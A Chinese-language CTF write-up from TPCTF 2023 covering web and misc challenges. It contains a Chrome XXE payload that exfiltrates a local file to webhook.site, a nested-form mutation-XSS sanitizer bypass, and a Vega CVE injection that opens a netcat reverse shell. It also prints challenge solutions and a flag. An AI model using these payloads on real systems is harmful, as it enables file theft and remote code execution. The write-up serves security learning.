TPCTF 2023

Team: 0RAYS

Rank: 9

Web

Xssbot | pankas

https://github.com/xcanwin/CVE-2023-4357-Chrome-XXE

最近很火的Chrome XXE漏洞
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="?#"?>
<!DOCTYPE div [
  <!ENTITY flag SYSTEM "file:///flag">
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:copy-of select="document('')"/>
    <body xmlns="http://www.w3.org/1999/xhtml">
      <p class="flag">&flag;</p>
      <script>
        var data = document.querySelector(".flag").textContent;
        fetch("https://webhook.site/2a2fe3da-421e-4c4b-a7c2-857161788fb9", {
        method: 'POST',
        headers: {
            'Content-Type': 'text/plain',
        },
        body: data
        })
      </script>
    </body>
  </xsl:template>
</xsl:stylesheet>

Xssbot but not Internet | gtg & pankas & JBNRZ

  • 通过link标签加载延时进行时间盲注
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="?#"?>
<!DOCTYPE div [
  <!ENTITY flag SYSTEM "file:///flag">
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:copy-of select="document('')"/>
    <body xmlns="http://www.w3.org/1999/xhtml">
      <p class="flag">&flag;</p>
      <script>
        var data = document.querySelector(".flag").textContent;
        var linkElement = document.createElement("link");
        linkElement.rel = "stylesheet";
        linkElement.href = "style.css";
        if(data[0] > 'S'){
            while(true) {
                document.querySelector("body").appendChild(linkElement); 
            }
        }
      </script>
    </body>
  </xsl:template>
</xsl:stylesheet>
from pwn import *
import warnings
warnings.filterwarnings("ignore")

context.log_level = 'error'

templat = '''<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="?#"?>
<!DOCTYPE div [
  <!ENTITY flag SYSTEM "file:///flag">
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:copy-of select="document('')"/>
    <body xmlns="http://www.w3.org/1999/xhtml">
      <p class="flag">&flag;</p>
      <script>
        var data = document.querySelector(".flag").textContent;
        var linkElement = document.createElement("link");
        linkElement.rel = "stylesheet";
        linkElement.href = "style.css";
        if(data[<<index>>] > '<<code>>'){
            while(true) {
                document.querySelector("body").appendChild(linkElement); 
            }
        }
      </script>
    </body>
  </xsl:template>
</xsl:stylesheet>
EOF
'''

def log(info:str):
    print(info)
    with open('./log.txt', 'at') as f:
        f.write(info+"\n")

def side_channel(payload: str):
    conn = remote('202.112.238.82', 23379)
    conn.recvuntil("File name: ")
    conn.sendline("a.svg")
    conn.recvuntil("Input your file:")
    conn.recvuntil("\n")
    conn.sendline(payload)
    conn.recvuntil('website...')
    try:
        conn.recvuntil('bye', timeout=20000)
    except:
        conn.close()
        return True
    conn.close()
    return False

def bf_bycode(index: int, code: int):
    payload = templat.replace('<<index>>', str(index)).replace('<<code>>', '\\x'+hex(code)[2:])
    status = side_channel(payload)
    log(str(index)+" "+hex(code)[2:]+" "+str(status))
    return status

def bf_byindex(index: int):
    l , r = 0x10, 0x7F
    while( l < r ):
        code = ( l + r ) // 2
        if bf_bycode(index, code):
            l = code + 1
        else:
            r = code
    log(chr(r))
    return r

def main():
    for i in range(60):
        bf_byindex(i)

def test():
    assert(bf_bycode(0, 0x10) == True)
    assert(bf_bycode(0, 0x7F) == False)

test()
main()

Walk off the earth | 赛后复现

参考链接 From bi0s

https://blog.bi0s.in/2023/11/30/Web/WalkOffTheEarth-TPCTF2023/
  • 这个题目逻辑其实挺清楚的,主要涉及到两个地方
  • visit.js,代码做了一点儿修改,方便观察运行到哪了
const BASE_URL = 'http://localhost:8000';

async function visit(path) {
    let browser, page;

    if (!/^\/note\?/.test(path)) {
        return 'Invalid path!';
    }
    const url = new URL(BASE_URL + path);
    let res = FLAG;

    try {
        browser = await puppeteer.launch({
            headless: 'new',
            args: [
                '--no-sandbox',
                '--disable-setuid-sandbox',
            ],
            executablePath: '/usr/bin/google-chrome-stable',
        });

        page = await browser.newPage();

        await page.goto(url, { waitUntil: 'domcontentloaded', timeout: 1999 });

        try {
            let text = new URL(url).searchParams.get('text');
            text = sanitize(text);
            await page.waitForFunction(text => document.write(text), { timeout: 2001 },text);
            res = "ByeBye 111";
        } catch (e) {
            console.log(e);
            if (e instanceof puppeteer.ProtocolError && e.message.includes('Target closed')) {
                return res;
            }
        } finally {
            res = "ByeBye 222";
        }
    } catch (e) {
        console.log(e);
        try { await browser.close(); } catch (e) {
            console.log(e);
        }
        return res;
    }
    try { await browser.close(); } catch (e) {
        console.log(e);
    }
    return "ByeBye 333";
}
  • 靶机会访问传递给它的参数
http://localhost:8000/note?text=1
  • 想要输出flag,有两条路线可走:在await page.goto(url, { waitUntil: 'domcontentloaded', timeout: 1999 });超时报错,进入外层catch;进入内层try catch,在await page.waitForFunction(text => document.write(text), { timeout: 2001 },text);报错,同时满足e instanceof puppeteer.ProtocolError && e.message.includes('Target closed')

第二种不会,也没看到WriteUp,下文为第一种

  • 第一种超时报错,则涉及/note路由
function custom_sanitize(html) {
    const BLOCKED_TAG = /(script|iframe|a|img|svg|audio|video)$/i
    const BLOCKED_ATTR = /(href|src|on.+)/i

    const document = new JSDOM('').window.document
    document.body.innerHTML = html
    let node;
    const iter = document.createNodeIterator(document.body)
    while (node = iter.nextNode()) {
        if (node.tagName) {
            if (BLOCKED_TAG.test(node.tagName)) {
                node.remove()
                continue
            }
        }

        if (node.attributes) {
            for (let i = node.attributes.length - 1; i >= 0; i--) {
                const att = node.attributes[i]
                if (BLOCKED_ATTR.test(att.name)) {
                    node.removeAttributeNode(att)
                }
            }
        }
    }

    return document.body.innerHTML
}

const sanitize = (html) => {

    let clean = custom_sanitize(html)

    return clean
}

app.get('/note', (req, res) => {
    res.send(sanitize(req.query.text) || 'No note!');
})
  • 对传递的text参数进行了过滤,先对内容进行dom解析,然后设置黑名单;此处就要通过浏览器和JSDOM的解析差异进行绕过
  • 在浏览器中,<form>不能嵌套,当出现以下代码
<form> hello 
    <form> world
        <img>
  • 将被浏览器自动删去内层<form>
  • 但是对于JSDOM这种嵌套<form>可以存在,不懂为什么是这么补全的
document.body.innerHTML = "<form><math><mtext></form><form><mglyph><style></math><script>alert(10)</script>"
console.log(document.body.innerHTML);

// <form><math><mtext><form><mglyph><style></math><script>alert(10)</script></style></mglyph></form></mtext></math></form>
  • 则在浏览器中解析为
  • 此时达成xss,让goto(url)超时报错即可
<form><math><mtext></form><form><mglyph><style></math><script>window.location="https://app.requestly.io/delay/4000/baidu.com"</script>

Walk off the solar system | 赛后复现

password

81b22ba14acf1fc2e34cfa0101ad1a3b

Graphoid | 赛后复现

参考链接:

https://dummykitty.github.io/posts/TPCTF2023-%E9%83%A8%E5%88%86-web-Writeup/
  • 本题为vega CVE的复现
{
  "data": [
    {
      "name": "data",
      "values": [{}],
      "transform": [
        {"type": "filter", "test": "(0//1/)-'\\\n,console.log(process.mainModule.require(\"child_process\").execSync(\"busybox nc xxxx 9001 -e ash\")),console.log(222))))//'"}
      ]
    }
  ]
}

Misc

SINGIN: Ingress | JBNRZ

  • rot13,爆破GPS
  • 运气好打开就能看到

Wait for first blood | werewolfcjj

  • 一血之后即停止更新二维码,随机爆破剩下的点位
#######_##_####_#___?#__?#_#_?_#____#_#######
#_____#__?#_?#_##_###__#_#_#___###_#__#_____#
#_###_#___?__##?_###_#_#?_?_##_____#__#_###_#
#_###_#_####__?#_#_#__#_?#___#?#??_##_#_###_#
#_###_#__#?#######_?######__#____####_#_###_#
#_____#__?##?#_?____#___#__#_#___#____#_____#
#######_#_#_#_#_#_#_#_#_#_#_#_#_#_#_#_#######
_________#??#_###?#?#___#_#_#_#?##__?________
__#_###_###__#___#__######____#___#_?#___#__#
#?###?__##_#_?##?__?#_#_?##_?###?#___####__#_
?__??_#?#_##?##__#__#_##_?_#?_?###_?#__#?#_##
###_?#_#?_#_?#??_##_#_#?_#_____#_#__#_??##_#?
#_#__###?_###?__#__#__###?_______##_#___#_##_
#__#??__#__?__#__#_?#??_##???#_?__?#_##?##_#_
###_#_#?##________#?__#_#___#__#__#_#_###__?_
___##?_?__#_#_#__##_#?###_?##?###_#__#?__?###
?##??###______#___?__?###__##_###_#__##?__#?_
?__##?____#_##__###_#_##___?#___#?##__#___?__
__#___#?#_#__#__?_#__??#?___#_##____#?##__#?#
#____#___?___###_#?####_##____##__#####?__###
?########?#_#_####?######_____#?#_#######?#__
##??#___##_?#_#?#?#?#___###_#_?##_###___#_###
#_###_#_##__#___#_?##_#_#??##_#_#_#_#_#_#____
____#___#__#?_#_#_###___#__#_?_?#___#___##_#?
___######___#_#_?#?######__#_#___?__#####___#
####_____##_#_______####_?_?#_?###_###_##__?#
#_#_?_###??###___??#____?_##___##___##_#_#___
#?__##____#__?##_?_#__#?_###_#_#__#?_#_###_#_
?__####____#####______#___#_##_??#?_###_?_##_
?#__#__#_?##?##__#__?_#__#_##_#####_#####_?#_
##_#_###___?#_#_##___#_#_#_#_#_##?#_###__?##_
#_?###___#?____????_?#####__#?_#_##_###_##_##
###__##__?#??__#____###?__#__#_#_?_###__#__?#
#_#__#__##_#_?_#?#_#__##?#?_##_####_?#__##___
____#_##__###__?##__##_#___##_###_?_#?#___##_
_####__#_____#__#_#____#_#___#_#__#?_#?___?__
#__##_###__??#_#_#__######_####___#######_#__
________#_##_###_#?_#___#_?###_#?__##___#_#__
#######___###_##?_###_#_####__#___###_#_####_
#_____#_#_#_###__?_##___#____###____#___##___
#_###_#_#?#__#__##__######_####_#___#####_#__
#_###_#___?##___?#_?#_#____??#_____#___##?_#_
#_###_#_#___###?##_##_#__#__####___##_#__#__#
#_____#__#####_###_#_#___#_?___##__##?_##??##
#######__##___#__###_#_###?_#_#_##_?__####?_#
from PIL import Image
import pyzbar.pyzbar as pyzbar
import random

MAXN = 45
pics = [(0,0,0),(255,255,255)]

while(1):

    f = open("qr.txt","r").readlines()
    pic = Image.new("RGB",(MAXN,MAXN))
    for y in range(0,MAXN):
        for x in range(0,MAXN):
            if(f[y][x] == '#'):
                pic.putpixel([x,y],(0,0,0))
            elif(f[y][x] == '_'):
                pic.putpixel([x,y],(255,255,255))   
            elif(f[y][x] == '?'):
                pic.putpixel([x,y],random.choice(pics))   
    pic = pic.resize((450,450))
    barcodes = pyzbar.decode(pic)
    print(barcodes)
    for barcode in barcodes:
        barcodeDATA = barcode.data.decode("utf-8")
        print(barcodeDATA)
    if(len(barcodes) != 0):
        pic.save("flag.png")
        break

NanoUniverse: flagments | werewolfcjj & JBNRZ

  • 随机爆破或者orcale的探图脚本
from pwn import *
import random

fw = open("1.log","wb")
dire = [b"W",b"A",b"S",b"D"]
while(1):
    try:
        io = remote("202.112.238.82", 13370)
        text = io.recvuntil(b"if you touch them.\n")
        fw.write(text)
        while(1):
            text = io.recvuntil("> ")
            fw.write(text)
            d = random.choice(dire)
            io.sendline(d)
            fw.write(d)
            fw.write(text)
            if(b"flag" in text):
                print(text)
    except:
        continue

NanoUniverse: orcale | JBNRZ

出题思路灵感

https://2021.galacticpuzzlehunt.com/puzzle/maze%253Fspring
  • 深搜探图
  • 此地图中存在部分特殊点位,只能以特殊方式进入
此时flag已出,讨论为提交后的事
此时flag已出,讨论为提交后的事
  • 存在问题的搜索脚本
from pwn import *
import warnings
from draw import save

def save(filename):
    visited = []
    temp = eval(open("from_top_visited.txt", "r").read())
    temp += eval(open("from_bottom_visited.txt", "r").read())
    temp += eval(open("from_left_visited.txt", "r").read())
    temp += eval(open("from_right_visited.txt", "r").read())
    for i in temp:
        if i not in visited:
            visited.append(i)
    random = eval(open("random.txt", "r").read())
    wall = eval(open("wall.txt", "r").read())
    flag = eval(open("flags.txt", "r").read())

    file = Image.new("RGBA", (600, 600))

    for i in range(200):
        for j in range(200):
            center_x = j * 3 + 1
            center_y = i * 3 + 1
            if [j, i] in visited:
                if [j, i] not in random:
                    if [j, i] not in flag:
                        rgba = (255, 0, 0, 255)
                    else:
                        rgba = (255, 255, 0, 255)
                else:
                    rgba = (0, 0, 255, 255)
            else:
                rgba = (0, 0, 0, 0)
            file.putpixel((center_x - 1, center_y - 1), rgba)
            file.putpixel((center_x - 1, center_y), rgba)
            file.putpixel((center_x - 1, center_y + 1), rgba)
            file.putpixel((center_x, center_y - 1), rgba)
            file.putpixel((center_x, center_y), rgba)
            file.putpixel((center_x, center_y + 1), rgba)
            file.putpixel((center_x + 1, center_y - 1), rgba)
            file.putpixel((center_x + 1, center_y), rgba)
            file.putpixel((center_x + 1, center_y + 1), rgba)
    center_x = 100 * 3 + 1
    center_y = 100 * 3 + 1
    file.putpixel((center_x - 1, center_y - 1), (0, 255, 0, 255))
    file.putpixel((center_x - 1, center_y), (0, 255, 0, 255))
    file.putpixel((center_x - 1, center_y + 1), (0, 255, 0, 255))
    file.putpixel((center_x, center_y - 1), (0, 255, 0, 255))
    file.putpixel((center_x, center_y), (0, 255, 0, 255))
    file.putpixel((center_x, center_y + 1), (0, 255, 0, 255))
    file.putpixel((center_x + 1, center_y - 1), (0, 255, 0, 255))
    file.putpixel((center_x + 1, center_y), (0, 255, 0, 255))
    file.putpixel((center_x + 1, center_y + 1), (0, 255, 0, 255))

    for i in range(200):
        for j in range(200):
            center_x = j * 3 + 1
            center_y = i * 3 + 1
            ds = wall[j][i]
            rgba = (0, 0, 0, 255)
            if ds[0] == 1:
                file.putpixel((center_x - 1, center_y - 1), rgba)
                file.putpixel((center_x, center_y - 1), rgba)
                file.putpixel((center_x + 1, center_y - 1), rgba)
                # file.putpixel((center_x - 1, center_y - 2), rgba)
                # file.putpixel((center_x, center_y - 2), rgba)
                # file.putpixel((center_x + 1, center_y - 2), rgba)
            if ds[1] == 1:
                file.putpixel((center_x - 1, center_y + 1), rgba)
                file.putpixel((center_x, center_y + 1), rgba)
                file.putpixel((center_x + 1, center_y + 1), rgba)
                # file.putpixel((center_x - 1, center_y + 2), rgba)
                # file.putpixel((center_x, center_y + 2), rgba)
                # file.putpixel((center_x + 1, center_y + 2), rgba)
            if ds[2] == 1:
                file.putpixel((center_x - 1, center_y - 1), rgba)
                file.putpixel((center_x - 1, center_y), rgba)
                file.putpixel((center_x - 1, center_y + 1), rgba)
                # file.putpixel((center_x - 2, center_y - 1), rgba)
                # file.putpixel((center_x - 2, center_y), rgba)
                # file.putpixel((center_x - 2, center_y + 1), rgba)
            if ds[3] == 1:
                file.putpixel((center_x + 1, center_y - 1), rgba)
                file.putpixel((center_x + 1, center_y), rgba)
                file.putpixel((center_x + 1, center_y + 1), rgba)
                # file.putpixel((center_x + 2, center_y - 1), rgba)
                # file.putpixel((center_x + 2, center_y), rgba)
                # file.putpixel((center_x + 2, center_y + 1), rgba)

    file.save(filename)

warnings.filterwarnings("ignore")

context.log_level = 'error'

from_left_visited = []
from_right_visited = []
from_top_visited = []
from_bottom_visited = []
stack = [[100, 100]]
# 上0 下1 左2 右3
wall = [[[0, 0, 0, 0] for i in range(200)] for j in range(200)]
paths = [[b"" for _ in range(200)] for _ in range(200)]
random = []
flags = []

# 加载缓存
# from_top_visited = eval(open("from_top_visited.txt", "r").read())
# from_bottom_visited = eval(open("from_bottom_visited.txt", "r").read())
# from_left_visited = eval(open("from_left_visited.txt", "r").read())
# from_right_visited = eval(open("from_right_visited.txt", "r").read())
# stack = eval(open("stack.txt", "r").read())
# wall = eval(open("wall.txt", "r").read())
# paths = eval(open("paths.txt", "r").read())
# random = eval(open("random.txt", "r").read())
# flags = eval(open("flags.txt", "r").read())

directions = [(0, -1), (0, 1), (-1, 0), (1, 0)]
direct = [b"w", b"s", b"a", b"d"]
visited = [from_bottom_visited, from_top_visited, from_right_visited, from_left_visited]

while stack:
    x, y = stack.pop()
    # visited.append([x, y])
    path = bytes(paths[x][y])
    for d in range(len(directions)):
        new_x = x + directions[d][0]
        new_y = y + directions[d][1]
        if [new_x, new_y] not in visited[d] and wall[x][y][d] == 0 and [new_x, new_y] not in random:
            r = remote("202.112.238.82", 13370)
            r.recvuntil(b"> ")
            r.sendline(path)
            r.recvuntil(b"> ")
            r.sendline(direct[d])
            res = r.recvuntil(b"> ").decode()
            p = path + direct[d]
            if "flag" in res or "Nothing" in res:
                stack.append([new_x, new_y])
                visited[d].append([new_x, new_y])
                paths[new_x][new_y] = p
                if "flag" in res:
                    flags.append([new_x, new_y])
            if "wall" in res:
                visited[d].append([new_x, new_y])
                wall[x][y][d] = 1
            if "random" in res:
                visited[d].append([new_x, new_y])
                random.append([new_x, new_y])
                paths[new_x][new_y] = p
            r.close()
    print("总探索次数: ", sum([len(i) for i in visited]))
    # 记录进程,防止中途爆炸
    open("from_top_visited.txt", "w").write(str(from_top_visited))
    open("from_bottom_visited.txt", "w").write(str(from_bottom_visited))
    open("from_left_visited.txt", "w").write(str(from_left_visited))
    open("from_right_visited.txt", "w").write(str(from_right_visited))
    open("wall.txt", "w").write(str(wall))
    open("random.txt", "w").write(str(random))
    open("paths.txt", "w").write(str(paths))
    open("stack.txt", "w").write(str(stack))
    open("flags.txt", "w").write(str(flags))
save("map.png")
黑色和白色为从不同方向访问的墙
  • 根据墙的特征,画出特殊点位的图
unknown = []
wall = eval(open("wall.txt", "r").read())

for i in range(1, 199):
    for j in range(1, 199):
        if wall[j][i][0] == 1 and wall[j][i - 1][1] == 0:
            unknown.append([(j, i), (j, i - 1)])
        if wall[j][i][1] == 1 and wall[j][i + 1][0] == 0:
            unknown.append([(j, i), (j, i + 1)])
        if wall[j][i][2] == 1 and wall[j - 1][i][3] == 0:
            unknown.append([(j, i), (j - 1, i)])
        if wall[j][i][3] == 1 and wall[j + 1][i][2] == 0:
            unknown.append([(j, i), (j + 1, i)])

a = [i[0] for i in unknown]
file = Image.new("RGB", (200, 200))
for i in range(200):
    for j in range(200):
        if (j, i) in a:
            file.putpixel((j, i), (0, 0, 0))
        else:
            file.putpixel((j, i), (255, 255, 255))
file.save("unknown2.png")
能看,但不完全能看
  • 后续有空再写个脚本完整的画出来

题目后端

  • server.py
BANNER = '''
                                        $$\   $$\           $$\                                                    
                                        $$ |  $$ |          \__|                                                   
$$$$$$$\   $$$$$$\  $$$$$$$\   $$$$$$\  $$ |  $$ |$$$$$$$\  $$\ $$\    $$\  $$$$$$\   $$$$$$\   $$$$$$$\  $$$$$$\  
$$  __$$\  \____$$\ $$  __$$\ $$  __$$\ $$ |  $$ |$$  __$$\ $$ |\$$\  $$  |$$  __$$\ $$  __$$\ $$  _____|$$  __$$\ 
$$ |  $$ | $$$$$$$ |$$ |  $$ |$$ /  $$ |$$ |  $$ |$$ |  $$ |$$ | \$$\$$  / $$$$$$$$ |$$ |  \__|\$$$$$$\  $$$$$$$$ |
$$ |  $$ |$$  __$$ |$$ |  $$ |$$ |  $$ |$$ |  $$ |$$ |  $$ |$$ |  \$$$  /  $$   ____|$$ |       \____$$\ $$   ____|
$$ |  $$ |\$$$$$$$ |$$ |  $$ |\$$$$$$  |\$$$$$$  |$$ |  $$ |$$ |   \$  /   \$$$$$$$\ $$ |      $$$$$$$  |\$$$$$$$\ 
\__|  \__| \_______|\__|  \__| \______/  \______/ \__|  \__|\__|    \_/     \_______|\__|      \_______/  \_______|
                                                                                                                   
                                                                                                                   
Caught in the Dark ......

You're piloting a spaceship in a dark, two-dimensional universe. Your ship can only move in four directions: north(W), south(S), east(D) and west(A). You can't see anything, but you can feel the walls around you if you touch them.
'''

import random

w = 75
h = 51

MAP = [list(x) for x in open('map.txt', 'r').read().strip().split('\n')]
FLAG_1 = "TPCTF{NO7icE-And-HELP-THe-vIsUALLy-1MP@IR3d-ar0unD-US}"

flag_chips = [[0 for _ in range(w)] for _ in range(h)]
flag_chips_id = [x+1 for x in range(len(FLAG_1))]
random.Random(FLAG_1).shuffle(flag_chips_id)
for i in range(h):
    for j in range(w):
        if MAP[i*2+1][j*2+1] == '$':
            flag_chips[i][j] = flag_chips_id[-1]
            del flag_chips_id[-1]
assert len(flag_chips_id) == 0

flag = ['_' for _ in range(len(FLAG_1))]
# flag is: ______________________________________________________

x, y, c = (25, 37, 0)
fuel = 1000

print(BANNER)
while fuel > 0:
    print(f'Fuel: {fuel}')
    print()
    def move(d):
        global x, y, c, fuel
        __x = x * 2 + 1 + [-1, 1, 0, 0][d]
        __y = y * 2 + 1 + [0, 0, -1, 1][d]
        # print(x, y, __x, __y)
        if MAP[__x][__y] in '-|':
            fuel -= 3
            print("Sorry you hit the wall.")
            return
        if MAP[__x][__y] in 'AB':
            if c and (c == 1) != (MAP[__x][__y] == 'A'):
                fuel -= 3
                print("Sorry you hit the wall.")
                return
            __c = 1 if MAP[__x][__y] == 'A' else 2
        __x = x * 2 + 1 + [-1, 1, 0, 0][d] * 2
        __y = y * 2 + 1 + [0, 0, -1, 1][d] * 2
        x += [-1, 1, 0, 0][d]
        y += [0, 0, -1, 1][d]
        # print(__x, __y, MAP[__x][__y])
        if MAP[__x][__y] == ' ' or MAP[__x][__y] == 'x':
            c = 0
            fuel -= 1
            print("Nothing happened.")
            return
        if MAP[__x][__y] == '$':
            c = 0
            fuel -= 1
            if flag[flag_chips[__x//2][__y//2] - 1] == '_':
                fuel += 50
                flag[flag_chips[__x//2][__y//2] - 1] = FLAG_1[flag_chips[__x//2][__y//2] - 1]
                print("You get the flag fragment!", 'Now the flag is ' + ''.join(flag))
            else:
                print("Nothing happened.")
            return
        if MAP[__x][__y] == '#':
            c = 0
            fuel -= 1
            x = random.randint(0, h-1)
            y = random.randint(0, w-1)
            while MAP[x*2+1][y*2+1] != ' ':
                x = random.randint(0, h-1)
                y = random.randint(0, w-1)
            print("It seems you've been randomly transported somewhere.")
            return
        if MAP[__x][__y] == '*':
            c = __c if c == 0 else c
            fuel -= 1
            print("Nothing happened.")
            return
        raise RuntimeError('anything wrong?')
    for d in input("> ").strip().upper():
        if d in 'WSAD':
            move('WSAD'.index(d))
        if fuel <= 0:
            break
    print()

print('Your spaceship crashed.')
  • map.txt
.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.
| | |   |                 |   |   |           |     | |   |   | |           |           |               | |       | |         | |         | |         |
. . . . . .-. .-.-.-.-.-. .-. .-. . .-.-.-.-.-.-. .-. . .-. .-. .-. .-.-. .-.-. . . .-.-.-. .-. . .-.-. . .-. . . . . . .-. . . .-.-.-. . . . . .-.-.-.
|     |   | |   |   | |           | | |            $    |       |       |       | | |     | | |   |     | |   | |  $|     | |                 |       |
. .-.-. . . .-. .-. . .-. . . .-. . . . . . . . . .-. . . .-.-. .-.-. . .-. .-. .-. . .-. . . .-. .-.-. . .-. . .-. . .-. .-. .-.-.-.-. . . .-.-. . .-.
| |     |       |   |        #    |       |  $| |   | |   |           |     |$     #  |       | | |               |   |   | |       |    #  |     | | |
. . . .-.-.B.-.B.-. . .A.B.B.-.-.-. .-. .B.-.B.-. . . .B.B.-.B.-.-.-.-.-.-.B.A.A. . . . .-.B.-. . . . .A.A.A.B. . .-. .A. . . .B. . .-. .-.-.B. .-.-. .
| | | B* *A*B*A*| |   |*|*|* *|   |$  | A*B*A*A*B | | |*|*A* *|*B     A*B*A*A*|*B | | |   A* *|  $| | |* *|*A*| | | | B*|     A*|   |$| A*A* *|       |
. . .-.-.A.A.A.-. . . .B.A.A.-.A. . .-.-.-.-.A.-.-. .-.A.-.A.A.A.-. .-.B.-.-.B.-.-. .-.-. .-.-. .-. .-.-.B.B.-.B. . . .A.-.-. .A. .-. .-.B.-.A.B. .-.-.
| | |     |*B | | | | A*|     B*B |   B*A   |  #    |     A*B         |*A       |   |   | |*A         |*A     |*|    $|*|   | B*B     A*|     B*A     |
. .-.-. .-.A. . . .-. .B.A.A.B.-. . .-.B. .-. . . . . .-. .A.-. .-. .-.B.A.A.-. . . . . .B.B. . . .-. .B. . .-.A. .-. .B. . . .A.-. . .B.B.B.-.A.-.-. .
|     |   B*|     | | A*|*|* *|       |*|       | |     | B*|   | |   A*B*|*B*|   | |   A*A  #  | |   A*B |   |*B |$  B*A |   |*A   | |*|*B*|* *B   | |
. . . . .-.B.-. .-. . .B.B.A.-.-.-.-.-.A. . .-. . .-.-.-. .-. .-. . . .-.B.B.A.-. . . . .-.-. . . .-.-.B. .-. . .-. .-.B. .-. . . .-.-. .A.A.B. . . .-.
| | | |   A*|   |   | B*A             B*| | |    $|       |*B |    #  B*|     |   | |$|   B*A     |   |*| |   |*A     B*| |   |*| |   B*A |$ #|*| |   |
.-. .-.-. .-.-. . .-. .-. . . .-.-. . .A.B.A.B.-. .-. . .-. . .-. . . .A. .-.-.-.-. .-.-. .A.B. .-. .-. .-.A.-.-.-.-. .A.B.B.-.B. . . .B. . . .A.-.-. .
| | | | | B*A |     | B*|#        | |   |*|*B*|*A     | | |*|         B*B | | |   |       |*|*A       A*|*B*A*B | |     |*A*|*A     | B*A     |*B |   |
. . . . . .-. . . . . .A. . . . . . . .-.A.-.A.B.-. . . . .A. .-. . .-.A. . . .-. . .-.-. .B.-. . . .-.B.A.B.-. . .-. . .-.A.B. .-. .-.-.-.-. .-. .-. .
|   | |     |   | |       | | | |           |     | | |   |     |   |           | |   | |     | |             |       |$|   |$|   |         |         |
. .-. . . .-. . . .-. .-.-. .-.-. .-.-. . . . . . . .-.-. . .-.-.-. . .-. . . . . .-. . . . . . . .-. .-. .-. .-. . .-. . .-. .-. . .-. .-.-.-.-. .-. .
|       | |   |   | | | | |   |   |   |   | | | |           |             |   |     | |   | |   | |      #    | |$ #              |   |           |   |
. .-. . .-.-.-. .-. . . . .-.-.-. . . . .-.-. .-. . . . . .-. .-. . . . . .-.-. . .-. . .-.-.-. . .-. . . . .-. . . .-. .-. . .-. . . . . .-.-. . . .-.
|   | |     |   |     |     |   | | |             | |     |   |   |  #   $  |             |   |               |   |   | |   |   |   |  $ $    | | |   |
. . .-.A. .-.-.-. .-.-.-. . .-. .-. .-.B. .-. .B.-. .-.-.-.-. .A. .-. .A.A.B.-.-.-.-. .-. .-. .B.-.-. .-.A.-.A. . . . .A.B.-.A. . . . .B.B.A.B.-. . . .
| | | B*| |   |       |         |  #  B*A   | A*|     A*B     B*A |   |*B*A*A* *|     B*|     A*|       |*B* *| |   | B*A* *|*| | | | |* *A*|*|*A | | |
.-. . .A. . .-. . .-. .-.-. . .-. . . .A. .-. .B.-. .-. .-. .-.-. . .-.B.A.B.A.B.-. . . . . . .-.-. . .-.-.B.B.B. . .-.-.B.B.B.A. . . . .-.B.A.B. .-. .
| |   |*B     |  #  |       |   |   | |*B | | |*B     |*|*A   B*A   | |  #|*A   |     |*B | | |*B   | A*B     |*A |   B*A     B*| | | |*|#        |   |
. . .-.B. . .-.-. . . .-.-.-.A.-. .-. .-. . . . . . .-.-.B.-. .A.-. . . . . .-. . . .-.A.-. .-.A.-. .-.-. .B.-.-.-. . .A.A.A.B.-. . . .B.-.A.B. .-. .-.
|   | A*| |   | | |     B*A* *| |     |*A   | A*| |   |*A |*B |*B   |   | |*| |         A*A A*| | |       A*|*B     | |*|* *|*A   |   A*A*B*|*A   | | |
. .-. .A. .-. . . .-.-. .-.-.B. . . . .B. . . .B.-. .-.B. .A.-.A. . . .-. .B. .-.-. . . .B. .B. . .-. .-. .-.A.A. .-. . .B.-.-.-.-. .-.-.B.-.A.-.-. . .
|     |*B       |             |    #  B*A |   |*| | | A*B | A*B*B |       |*A     | | | A*B |*B |     A*B     |*B     B*|$  | |*B          #  A*B |$  |
.-.-. .-.-.A.A.B.-. .-. . .-.-. . . .-.-.B.-.A.A. . . .-. . .-.A. .-.-.B.-. .A.-. . .-.-.-.B.A. .-. .-.-.A.B.-.-. . . .A.-. . .A. .-.-.-.-.-.B.-. . .-.
| |   B*|* *|*|*|     | |   | | | |     |*|*B*B     | B*A    #|*B | | B*B*A*|*|*A |       A*|           |*A*|*A  $| | |*B     B*| | | A*B*A* *B |     |
. . .-.A.B.-.B.A. . . .-. . . . . .-. . .A.A.-.-. .-. .-.-. . .-. . . .A.B.-.B.B. .-.-. . .-. .-. .-.-. .B.-.B.-. .-.-.-. . .-.A. . . .B.-.A.-. . .-. .
|   | |    $     #  | |   | | | | | | |     |     |         |     |   |           |     | |   |   |   |    #        | |$|  #                |   |   | |
.-. . . . .-.-.-. . . .-.-. . . .-. . . .-.-. .-. . . . .-. .-. .-. .-.-.-. . . .-. .-.-.-. . . . .-. . .-. .-. .-. . . . . .-. . . .-. .-. .-. . . . .
|     | | |     | |  #          |   | | |       | | | |                   | | |         |    $| | |     |   |       | | | |     |$ #        |$    |   |
. .-.-. .-.-. . . . . .-. . .-. .-. . . . .-.-. . .-. . .-.-.-. .-. .-.-.-. . . . . . .-.-. . . .-.-.-.-. .-.-. .-. . . . .-. .-. . . . .-. . .-.-.-. .
|             | |   |       |       |         | |         |                 | | | | |     | | |                 |     | |       | |   |   |         | |
. .-. .A.-.B.-.-. . . .-.A.B.-. . . . .-. . .-. .-.-.-.-.-.-.-. .-. . .B.-.B.B. .-. . .B.A.-.B.-. .-. .A.A.-.B.-. . . . .-.-.-.-. . .-.B.-. . .A. .-. .
|   | B*|* * * *| | |   |* * *B | |     | |   |   |     |   | |     | |*A* *A*|   |  #|*|*B* *A   |   B*|*B*A* *|   |   A* *A*B   |   A*| | | B*|     |
. .-. .A.-.A.-.B. .-.-.B.-.-.-. . . . . . . . .-. . .-.-.-. . . .-.-. .-.A.-.-.A.-. . .A.B.A.-.A.-. . .A.-.B.-.A. . . .B.-.B.B.B.-. .-.B. . .B.-.-.-. .
